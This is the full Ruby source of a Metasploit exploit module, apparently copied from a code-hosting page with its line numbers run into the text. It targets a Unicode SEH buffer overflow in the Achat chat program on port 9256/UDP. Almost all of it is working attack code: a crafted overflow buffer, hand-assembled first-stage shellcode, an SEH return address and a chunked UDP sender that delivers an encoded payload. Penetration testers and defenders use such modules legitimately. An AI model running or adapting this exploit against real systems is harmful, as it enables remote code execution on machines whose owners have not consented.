Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/achat_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Achat Unicode SEH Buffer Overflow',14'Description' => %q{15This module exploits a Unicode SEH buffer overflow in Achat. By16sending a crafted message to the default port 9256/UDP, it's possible to overwrite the17SEH handler. Even when the exploit is reliable, it depends on timing since there are18two threads overflowing the stack in the same time. This module has been tested on19Achat v0.150 running on Windows XP SP3 and Windows 7.20},21'Author' =>22[23'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery24'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module25],26'License' => MSF_LICENSE,27'References' =>28[29['CWE', '121'],30],31'DefaultOptions' =>32{33'EXITFUNC' => 'process'34},35'Payload' =>36{37'DisableNops' => true,38'Space' => 730,39'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),40'StackAdjustment' => -3500,41'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,42'EncoderOptions' =>43{44'BufferRegister' => 'EAX'45}46},47'Platform' => 'win',48'Targets' =>49[50# Tested OK Windows XP SP3, Windows 751# Not working on Windows Server 200352[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] #ppr from AChat.exe53],54'Privileged' => false,55'DefaultTarget' => 0,56'DisclosureDate' => '2014-12-18'))5758register_options(59[60Opt::RPORT(9256)61])62end6364def exploit65connect_udp6667# 0055 00 ADD BYTE PTR SS:[EBP],DL # padding68# 2A00 SUB AL,BYTE PTR DS:[EAX] # padding69# 55 PUSH EBP # ebp holds a close pointer to the payload70# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding71# 58 POP EAX # mov eax, ebp72# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding73# 05 00140011 ADD EAX,11001400 # adjusting eax74# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding75# 2D 00130011 SUB EAX,11001300 # lea eax, eax+10076# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding77# 50 PUSH EAX # eax points to the start of the shellcode78# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding79# 58 POP EAX # padding80# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding81# 59 POP ECX # padding82# 0039 ADD BYTE PTR DS:[ECX],BH # padding83first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"8485sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"86sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)87sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset88sploit << "\x61\x40" # POPAD + INC EAX8990sploit << target.ret # AChat.exe p/p/r address9192# adjusting the first thread's unicode payload, tricky asm-fu93# the first seh exception jumps here, first_stage variable will be executed94# by the second seh exception as well. It needs to be in sync with the second95# thread, so that is why we adjust eax/ebp to have a close pointer to the96# payload, then first_stage variable will take the rest of the job.97# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding98# 55 PUSH EBP # ebp with close pointer to payload99# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding100# 58 POP EAX # put ebp to eax101# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding102# 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place103# 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more104# 05 00140011 ADD EAX,11001400 # more adjusting105# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding106# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100107# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding108# 50 PUSH EAX # saving eax109# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding110# 5D POP EBP # mov ebp, eax111sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"112sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread113sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 -3) # put address of the payload to EAX114sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload115sploit << "\x00" + 'A' * 10 + "\x00"116117i = 0118while i < sploit.length do119if i > 172000120Rex::sleep(1.0)121end122sent = udp_sock.put(sploit[i..i + 8192 - 1])123i += sent124end125disconnect_udp126end127end128129130